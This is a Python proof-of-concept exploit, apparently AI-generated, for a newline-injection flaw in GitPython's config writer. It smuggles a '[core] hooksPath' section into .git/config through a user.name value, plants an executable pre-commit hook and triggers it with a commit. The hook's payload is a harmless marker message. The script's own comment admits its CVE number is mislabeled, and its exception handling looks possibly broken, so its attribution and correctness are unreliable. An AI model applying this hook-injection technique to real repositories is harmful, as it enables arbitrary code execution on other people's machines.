Vulnerable code sample

import git
import os
import tempfile
import shutil
import sys

# This code requires a vulnerable version of GitPython, e.g., pip install GitPython==3.1.40
# It demonstrates CVE-2024-22195 (mislabeled in the prompt).

repo_dir = None
try:
    # 1. Setup a temporary environment
    repo_dir = tempfile.mkdtemp()
    evil_hooks_dir = os.path.join(repo_dir, "evil_hooks")
    os.makedirs(evil_hooks_dir)

    # 2. Initialize a git repository to attack
    repo = git.Repo.init(repo_dir)

    # 3. Create a malicious hook script
    # This script will be executed by git during operations like 'commit'
    hook_path = os.path.join(evil_hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        # Use Python to avoid shell differences and print to stderr
        f.write(f"#!{sys.executable}\n")
        f.write("import sys\n")
        f.write("sys.stderr.write('!!! MALICIOUS HOOK EXECUTED !!!\\n')\n")
        f.write("sys.exit(1)\n") # Exit with an error to show the hook ran and stopped the commit
    os.chmod(hook_path, 0o755) # Make the hook executable

    # 4. Craft the malicious payload for the config
    # The newline character is the core of the vulnerability.
    # It allows injecting a new '[core]' section into the .git/config file.
    malicious_value = f"any_value\n[core]\nhooksPath = {evil_hooks_dir}"

    # 5. Use the vulnerable function to write the payload
    # GitPython < 3.1.41 does not sanitize the newline in the value.
    config_writer = repo.config_writer()
    config_writer.set_value("user", "name", malicious_value)
    config_writer.release() # This writes the manipulated config to .git/config

    # 6. Trigger the hook by performing a git operation
    # Create a file to commit
    with open(os.path.join(repo_dir, "some_file.txt"), "w") as f:
        f.write("content")
    repo.index.add(["some_file.txt"])

    print("Attempting to commit. This should fail and trigger the malicious hook...")
    # This commit will fail because the pre-commit hook exits with status 1.
    # The proof of exploitation is seeing the hook's message in the stderr.
    try:
        repo.index.commit("A commit that will be blocked by the hook")
    except git.GitCommandError as e:
        print("\n--- Captured GitCommandError ---")
        print(f"Stderr: {e.stderr.strip()}")
        if "MALICIOUS HOOK EXECUTED" in e.stderr:
            print("\nSUCCESS: The vulnerability was successfully demonstrated.")
        else:
            print("\nFAILURE: The hook did not execute as expected.")
    
finally:
    # 7. Clean up the temporary repository
    if repo_dir and os.path.exists(repo_dir):
        shutil.rmtree(repo_dir)